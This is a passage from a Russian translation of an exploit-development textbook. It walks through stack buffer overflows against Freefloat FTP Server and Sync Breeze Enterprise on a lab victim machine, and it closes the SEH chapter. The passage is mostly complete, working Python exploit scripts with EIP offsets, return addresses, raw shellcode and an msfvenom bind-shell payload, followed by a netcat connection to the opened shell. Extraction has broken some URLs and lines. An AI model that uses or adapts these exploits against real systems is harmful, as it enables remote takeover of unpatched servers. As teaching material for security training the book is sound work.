divide(6,0) print "That value was invalid."
except ValueError:
Это пример деления на 0 которое станет исключением. Программа дожна изменить
порядок выполнения кода или что нибудь ещё.

SEH состоит из двух частей:

Исключение регистрации записи (SEH) Следующее


Исключение регистрации записи (nSEH)

Они перемящаются в stack в обратном порядке. Как создать эксплоит при помощи
SEH? Точно также как и в stack overflow:

Это то как должен выглядеть наш эксплоит. Всё что нам нужно это переместить
команду, pop pop ret в SEH и далее в nSEH. Затем переместить команду в nSEH
чтобы перейти к шеллкоду который юудет выглядеть как эта диаграмма:

Мы затронем практическое применение в Главе 11.

[ 250 ]
Разработка эксплоита – Часть 2 Глава 8

Заключение
Здесь мы слегка затронули тему создания эксплоита начав с фаззинга и с того как
контролировать указатель команды. Далее мы поняли как находить адрес для
шеллкода и как менять порядок его выполнения. В конце мы познакомились с
методом ROP и SEH.

В следующей главе мы затронем реальные примеры из жизни и то как создавать


эксплоиты для реальных приложений.

[ 251 ]
9
Реальные примеры из жизни –
Часть 1

Здесь мы пробежимся по всей книге применив фазззинг, контроль указателя команды,


инъекция шеллкода с использованием реальных целей. Для этого мы перейдем на
exploit-db.com и найдём там реальные цели.

Freefloat FTP Server


Начнём с Freefloat FTP Server v1.0, который вы можете скачать перейдя по этой ссылке:
https:/​/​www.​exploit-​db.​com/​apps/​687ef6f72dcbbf5b2506e80a375377fa-
freefloatftpserver. zip. Также скачайте эксплоит для Windows XP на https:/
/
www.
exploit- db.
com/exploits/ 40711/.
Реальные примеры из жизни– Часть 1 Глава 9

Freefloat FTP Server имеет множество уязвимых параметров которые мы будем


использовать для практики. Выберем один из них:

Скачаем это https:/


/
www.
exploit-
db.
com/
apps/ 687ef6f72dcbbf5b2506e80a375377fa-
zip на нашу Windows машину. Откроем в нашей папке, затем
freefloatftpserver.
откроем Win32 чтоюы запустить FTP server. В правом верхнем углу мы увидим
панель задач. Откроем найстройки:

[ 253 ]
Реальные примеры из жизни– Часть 1 Глава 9

Уязвимый сервер работает на порту 21 . Подтвердим это с нашей


атакующей машины введя nc.

IP адресом машины жертвы будет 192.168.129.128:

Из атакующей машины выполним следующую команду:


$ nc 192.168.129.128 21

Введённая нами команда показана на скриншоте:

Попробуем использовать анонимный доступ:


$ USER anonymous
$ PASS anonymous

[ 254 ]
Реальные примеры из жизни– Часть 1 Глава 9

Введённая нами команда показана на скриншоте:

Мы внутри! Как насчет того чтобы сфокусироваться на параметре USER?

Фаззинг
Так как ручное использование команды nc не слишком эффективно то мы напишем
скрипт на языке Python:
#!/usr/bin/python
import socket
import sys

junk =

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Произведём фаззинг используя параметр USER. Начнём с junk со значением 50:

#!/usr/bin/python
import socket
import sys

junk = 'A'*50

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

[ 255 ]
Реальные примеры из жизни– Часть 1 Глава 9

На машине жертвы закрепим Freefloat FTP Server внутри Immunity Debugger и


один раз нажмём на run program:

[ 256 ]
Реальные примеры из жизни– Часть 1 Глава 9

Запишем содержание:

Удостоверимся что программа показывает данное значение

[ 257 ]
Реальные примеры из жизни– Часть 1 Глава 9

Запустим программу и посмотрим в Immunity Debugger:


$ ./exploit.py

Результат введённой нами команды показан на скриншоте:

Ничего не произошло! Увеличим значение junk до 200:


#!/usr/bin/python
import socket
import sys

junk = 'A'*200

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Перезапустим эксплоит и посмотрим в Immunity Debugger:


$ ./exploit.py

[ 258 ]
Реальные примеры из жизни– Часть 1 Глава 9

Результат введённой нами команды показан на скриншоте:

Снова ничего не произошло; увеличим значение до 500:


#!/usr/bin/python
import socket
import sys

junk = 'A'*500

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Далее запустим эксплоит:


$ ./exploit.py

[ 259 ]
Реальные примеры из жизни– Часть 1 Глава 9

Результат введённой нами команды показан на скриншоте:

Программа приостановила работу! Посмотрим в регистр:

[ 260 ]
Реальные примеры из жизни– Часть 1 Глава 9

Указатель команды заполнен нашим junk:

Stack тоже заполнен со значением junk как мы и ожидали.

Контроль указателя команды


В этой фазе мы сможем контролировать указатель команды путем точного
вычисления смещения регистра EIP.

Создадим шаблон как мы и делали ранее при помощи Metasploit Framework:


$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 500

[ 261 ]
Реальные примеры из жизни– Часть 1 Глава 9

Результат введённой нами команды показан на скриншоте:

Это наш шаблон и эксплоит выглядит так:


#!/usr/bin/python
import socket
import sys

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Закройте Immunity Debugger и перезапустите Freefloat FTP Server


прикрепив его к Immunity Debugger. Затем запустите программу:
$ ./exploit.py

[ 262 ]
Реальные примеры из жизни– Часть 1 Глава 9

Результат введённой нами команды показан на скриншоте:

Настоящим шаблоном в EIP будет37684136:

[ 263 ]
Реальные примеры из жизни– Часть 1 Глава 9

У нас есть шаблон который находится внутри EIP; давайте вычисли его смещение:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 37684136 -l 500

Результат введённой нами команды показан на скриншоте:

Смещение 230; подтвердим это:


#!/usr/bin/python
import socket
import sys

junk = 'A'*230
eip = 'B'*4
injection = junk+eip

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')
Закройте Immunity Debugger и запустите его снова вместе с Freefloat FTP Server,
прикрепив к нему Immunity Debugger. Нажмите run program. Запустим наш
эксплоит:
$ ./exploit.py

[ 264 ]
Реальные примеры из жизни– Часть 1 Глава 9

Результат введённой нами команды показан на скриншоте:

Посмотрим на регистры:

EIP содержит 42424242; это значит что мы контролируем EIP.

[ 265 ]
Реальные примеры из жизни– Часть 1 Глава 9

Инъекция шеллкода
Посмотрим на другой подход для анализа нашего шаблона внутри Freefloat FTP
Server:
#!/usr/bin/python
import socket
import sys

junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Перезапустим Freefloat FTP Server прикрепив к нему Immunity Debugger. Затем


нажмём run program. Далее запустим эксплоит:
$ ./exploit.py

[ 266 ]
Реальные примеры из жизни– Часть 1 Глава 9

Программа снова приостановит свою работу; тогда в панели задач введём !mona findmsp:

Согласно блогу Rapid7 на https:/


/
blog.
rapid7.
com/
2011/
10/
11/ ,
monasploit/
команда findmsp выполняет следующее:

Смотрит на первые 8 байтов цикличного шаблона в любом месте памяти


процесса
Проверяет или указывает на все регистры или их списки на предмет
наличии шаблона. Это показывает смещение и длину шаблона в памяти
после смещения если регистры указывают на шаблон.
Ищет указатели частей шаблона в stack (показывает смещение и длину).
Изет артифакты шаблона в stack (показывает смещение и длину).
Запрашивает цепочку SEH и определяет был ли он переписан с
цикличным шаблоном или нет.

[ 267 ]
Реальные примеры из жизни– Часть 1 Глава 9

После этого нажмите Enter:

Анализ показывает нам точное смещение которым являнтся 230. Также это
укажет нам где лучше всего хранить шеллкод: внутри stack и с использованием
регистра ESP. Продолжим то что мы делали ранее.

Наш эксплоит должен выглядеть так:

[ 268 ]
Реальные примеры из жизни– Часть 1 Глава 9

Найдём адрес для JMP ESP:

Затем поищем JMP ESP:

Нам нужно выбрать любой адрес чтобы перейти к ESP. Я выберу 75BE0690. Для шеллкода
выберем что то небольшое; например это шеллкод который создаёт ящик сообщений на
машине жертвы www.exploit-db.com/exploits/40245/ :

[ 269 ]
Реальные примеры из жизни– Часть 1 Глава 9

"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x
31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\
x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41
\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x9
6\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x
72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\
x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83
\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x6
8\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x
67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\
x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb
\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x6
3\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0"

Наш шеллкод будет выглядеть так:

Создадим эксплоит:
#!/usr/bin/python
import socket
import sys

shellcode =
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x
31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\
x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41
\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x9
6\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x
72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\
x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83
\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x6
8\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x
67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\
x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb
\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x6
3\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";

junk = 'A'*230
eip = '\x90\x06\xbe\x75'

[ 270 ]
Реальные примеры из жизни– Часть 1 Глава 9

nops = '\x90'*10
injection = junk+eip+nops+shellcode

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

Всё готово; перезапустим Freefloat FTP Server и запустим наш эксплоит:


$ ./exploit.py

Результат введённой нами команды показан на скриншоте:

Наш эксплоит сработал!

Пример
Я хотел бы чтобы вы попробовали данный эксплоит изменив параметр MKD. Чтобы
начать я выдам вам полный код:
#!/usr/bin/python
import socket
import sys

junk = ' '

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD' + junk +'\r\n')

[ 271 ]
Реальные примеры из жизни– Часть 1 Глава 9

s.recv(1024)
s.send('QUIT\r\n')
s.close()

Это похоже на данный приме, но постарайтесь быть более креативными.

Заключение
В этой главе мы использовали фаззинг на реальгых примерах. Также мы научились
брать под контроль EIP, а также делать инъекции и выполнять шеллкод.

В следующей главе мы рассмотрим другие примеры, но уже с другими подходами.


Такими как перехват и фаззинг параметра внутри заголовка HTTP.

[ 272 ]
10
Реальные примеры из жизни –
Часть 2
В этой главе мы будет практиковать создание эксплоита, но уже с другим подходом
при котором наш уязвимый параметр будет находиться в заголовке HTTP. Мы
научимся перехватывать , а также узнаем из чего состоит заголовок HTTP.

В этой главе мы рассмотрим следующие темы:

Sync Breeze Enterprise


Фаззинг
Контроль указателя команды
Инъекции шеллкода

Sync Breeze Enterprise


Сегодня нашим примером станет Sync Breeze Enterprise V.10.0.28. Вы найдёте
эксплоит на
https:/​/​www.​exploit-​db.​com/​exploits/​42928/​
и сможете загрузить уязвимую версию с
https:/​/​www.​exploit-​db.​com/​apps/ 959f770895133edc4cf65a4a02d12da8-​
syncbreezeent_​setup_​v10.​0.​28.​exe.
Реальные примеры из жизни– Часть 2 Глава 10

Загрузите и установите. Затем перейдите в Tools | Advanced Options | Server.


Обязательно укажите Enable Web Server on Port: 80 активирован:

Сохраним изменения. Затем на атакующей машине через Firefox подключимся к


сервису через порт 80. Откроется данная страница:

[ 274 ]
Реальные примеры из жизни– Часть 2 Глава 10

Применим фаззинг на параметре логин:

Фаззинг
Создадим значение A используя Python:

[ 275 ]
Реальные примеры из жизни– Часть 2 Глава 10

Скопируем эту строку и введём её в форму логина:

Скопируем результат выведенный нами и узнаем длину данных значений:

Длина выведенных значений будет 64 а мы делали инъекции для 100. Что то на


стороне клиента воспрепятствует инъектированию больше 64 значений.
Подтвердим это нажав пкм на username и перейдя в Inspect | Elements:

[ 276 ]
Реальные примеры из жизни– Часть 2 Глава 10

Мы можем просто изменить значение maxlength="64" и продолжить фаззинг, но


нам нужно создать эксплоит. Посмотрим на заголовок HTTP изнутри используя
такое приложение как Burp Suite или OWASP Zed Attack Proxy (ZAP). Здесь я буду
использовать Burp Suite и создам прокси который перехватит заголовок HTTP.

Запустим Burp Suite, затем перейдём в Proxy | Options, и поставим Burp Suite на
прослушивание порта 8080 по адресу 127.0.0.1:

Затем через наш браузер установим установим адрес 127.0.0.1 на порту 8080:

[ 277 ]
Реальные примеры из жизни– Часть 2 Глава 10

Перейдём на страницу с логином и подготовим Burp Suite к перехвату перейдя в


Proxy |Intercept:

Перехватичик готов. Сделаем инъекции любых значение в строке логина и нажмём


Login. Затем вернёмся в Burp Suite:

[ 278 ]
Реальные примеры из жизни– Часть 2 Глава 10

Закройте Burp Suite. Верните прокси в нормальный режим. Давайте напишем код
для фаззинга заголовка и параметра username:
#!/usr/bin/python
import socket

junk =

payload="username="+junk+"&password=A"

buffer="POST /login HTTP/1.1\r\n"


buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)


s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Начнём с 300:
junk = 'A'*300

[ 279 ]
Реальные примеры из жизни– Часть 2 Глава 10

Добавим Sync Breeze в Immunity Debugger (запустите Immunity Debugger aот


имени администратора):

Не забудьте добавить его к серверу (syncbrs), а не к клиенту (syncbrc), затем


нажмите run program.

Далее запустим код эксплоита на атакующей машине:

[ 280 ]
Реальные примеры из жизни– Часть 2 Глава 10

Ничего не произошло. Увеличим значение фаззинга до 700:


junk = 'A'*700

Перезапустите эксплоит:

Снова ничего не произошло. Увеличим значение фаззинга до 1000:


junk = 'A'*1000

Перезапустим эксплоит:

[ 281 ]
Реальные примеры из жизни– Часть 2 Глава 10

Это сработало! Снова посмотрим на регистр:

Мы видим значения A в stack:

[ 282 ]
Реальные примеры из жизни– Часть 2 Глава 10

Контроль указателя команды


Отлично. Давайте подготовим шаблон для смещения EIP:
$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 1000

Сбросим значение junk для нового шаблона:


junk =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae
9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah
4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao
9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar
4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At
9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw
4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay
9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb
4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd
9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg
4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

Закроем Immunity Debugger и перейдём в Task Manager | Services | Services...;


и выберем Sync Breeze Enterprise и потом нажмём Start для начала нового
сервиса:

[ 283 ]
Реальные примеры из жизни– Часть 2 Глава 10

Проверим что программа работает и имеется подключение:

Снова запустим Immunity Debugger (от имени администратора), прикрепим syncbrs


и нажмём run program.

Затем запустим эксплоит из атакующей машины:

EIP примет значение 42306142; найдем местоположение смещения EIP:


$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 42306142 -l 1000

[ 284 ]
Реальные примеры из жизни– Часть 2 Глава 10

Результат введённой нами команды показан на скриншоте:

Также мы можем использовать плагин mona внутри the Immunity Debugger:


!mona findmsp

Результат введённой нами команды показан на скриншоте:

Подтвердим:
#!/usr/bin/python
import socket

junk = 'A'*780
eip = 'B'*4
pad = 'C'*(1000-780-4)

[ 285 ]
Реальные примеры из жизни– Часть 2 Глава 10

injection = junk + eip + pad

payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)


s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Закроем Immunity Debugger и запустим сервис Sync Breeze Enterprise


удостоверившись что программа работает и подключена. Затем запустим Immunity
Debugger (от имени администратора), добавим syncbrs, и нажмём run program.

Затем снова перезапустим эксплоит:

[ 286 ]
Реальные примеры из жизни– Часть 2 Глава 10

Теперь мы имеем контроль над указателем команд:

Инъекция шеллкода
Конечная инъекция должна выглядеть вот так:

Закроем Immunity Debugger и запустим сервис Sync Breeze Enterprise


удостоверившись что программа работает и подключена. Затем запустим Immunity
Debugger, добавим attach syncbrs, и нажмём run program.

[ 287 ]
Реальные примеры из жизни– Часть 2 Глава 10

Давайте найдём JMP ESP:

Теперь поищем JMP ESP:

[ 288 ]
Реальные примеры из жизни– Часть 2 Глава 10

Мы получили длинный список; выберем 10090c83:

Мы выбрали этот адрес по причине постоянного


местонахождения(libspp.dll). Если бы мы выбрали адрес относящийся к
системе(такой как SHELL32.dll или USER32.dll), тогда адрес сменялся бы
при каждом запуске системы.

eip = '\x83\x0c\x09\x10'

Установим NOP sled:


nops = '\x90'*20

Создадим bind TCP shell код для порта 4321:


$ msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4321 -
b '\x00\x26\x25\x0A\x2B\x3D\x0D' -f python

Результат введённой нами команды показан на скриншоте:

[ 289 ]
Реальные примеры из жизни– Часть 2 Глава 10

Законченный код должен выглядеть так:


#!/usr/bin/python
import socket

buf = ""
buf += "\xda\xd8\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xc1\x30"
buf += "\xc9\xe4\x0e\x36\x32\x14\xcf\x57\xba\xf1\xfe\x57\xd8"
buf += "\x72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5"
buf += "\x5f\xcf\x01\xc8\x60\x7c\x71\x4b\xe3\x7f\xa6\xab\xda"
buf += "\x4f\xbb\xaa\x1b\xad\x36\xfe\xf4\xb9\xe5\xee\x71\xf7"
buf += "\x35\x85\xca\x19\x3e\x7a\x9a\x18\x6f\x2d\x90\x42\xaf"
buf += "\xcc\x75\xff\xe6\xd6\x9a\x3a\xb0\x6d\x68\xb0\x43\xa7"
buf += "\xa0\x39\xef\x86\x0c\xc8\xf1\xcf\xab\x33\x84\x39\xc8"
buf += "\xce\x9f\xfe\xb2\x14\x15\xe4\x15\xde\x8d\xc0\xa4\x33"
buf += "\x4b\x83\xab\xf8\x1f\xcb\xaf\xff\xcc\x60\xcb\x74\xf3"
buf += "\xa6\x5d\xce\xd0\x62\x05\x94\x79\x33\xe3\x7b\x85\x23"
buf += "\x4c\x23\x23\x28\x61\x30\x5e\x73\xee\xf5\x53\x8b\xee"
buf += "\x91\xe4\xf8\xdc\x3e\x5f\x96\x6c\xb6\x79\x61\x92\xed"
buf += "\x3e\xfd\x6d\x0e\x3f\xd4\xa9\x5a\x6f\x4e\x1b\xe3\xe4"
buf += "\x8e\xa4\x36\x90\x86\x03\xe9\x87\x6b\xf3\x59\x08\xc3"
buf += "\x9c\xb3\x87\x3c\xbc\xbb\x4d\x55\x55\x46\x6e\x49\x47"
buf += "\xcf\x88\x03\x97\x86\x03\xbb\x55\xfd\x9b\x5c\xa5\xd7"
buf += "\xb3\xca\xee\x31\x03\xf5\xee\x17\x23\x61\x65\x74\xf7"
buf += "\x90\x7a\x51\x5f\xc5\xed\x2f\x0e\xa4\x8c\x30\x1b\x5e"
buf += "\x2c\xa2\xc0\x9e\x3b\xdf\x5e\xc9\x6c\x11\x97\x9f\x80"
buf += "\x08\x01\xbd\x58\xcc\x6a\x05\x87\x2d\x74\x84\x4a\x09"
buf += "\x52\x96\x92\x92\xde\xc2\x4a\xc5\x88\xbc\x2c\xbf\x7a"
buf += "\x16\xe7\x6c\xd5\xfe\x7e\x5f\xe6\x78\x7f\x8a\x90\x64"
buf += "\xce\x63\xe5\x9b\xff\xe3\xe1\xe4\x1d\x94\x0e\x3f\xa6"
buf += "\xa4\x44\x1d\x8f\x2c\x01\xf4\x8d\x30\xb2\x23\xd1\x4c"
buf += "\x31\xc1\xaa\xaa\x29\xa0\xaf\xf7\xed\x59\xc2\x68\x98"
buf += "\x5d\x71\x88\x89"

junk = 'A'*780
eip = '\x83\x0c\x09\x10'
nops = '\x90'*20

injection = junk + eip + nops + buf

payload="username="+injection+"&password=A"

buffer="POST /login HTTP/1.1\r\n"


buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\n"

[ 290 ]
Реальные примеры из жизни– Часть 2 Глава 10

buffer+="Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r 2;n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)


s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Готово! Закроем Immunity Debugger и запустим сервис Sync Breeze Enterprise;


затем запустим эксплоит.

При помощи команды nc установим соединение с машиной жертвы:


$ nc 192.168.129.128 4321

Результат введённой нами команды показан на скриншоте:

Всё работает!

[ 291 ]
Реальные примеры из жизни– Часть 2 Глава 10

Заключение
В этой этой главе мы повторили изученное в предыдущей главе дополнительно
изучив работу заголовков HTTP. Я попрошу вас пройти по ссылке www.exploit-
db.com, взять любой buffer overflow и создать свой эксплоит как мы делали это
ранее. Больше практикуясь вы сможете создавать более сложные эксплоиты!

В следующей главе мы изучим практическое применение структурированную


обработку исключений (SEH).

[ 292 ]
11
Реальные примеры из жизни –
Часть 3
Начнём заключительную главу нашей книги. Мы применим другой подход
сфокусировав на структурированном обработке исключений (SEH) основанном на
методе buffer overflow, также он основан на заголовке HTTP, но использует GET
запрос.

Easy File Sharing Web Server


Нашей целью будет Easy File Sharing Web Server 7.2. Вы найдете эксплоит перейдя на

/
https:/www.
exploit-
db.
com/
exploits/ , а также сможете скачать уязвимое
39008/
приложение на

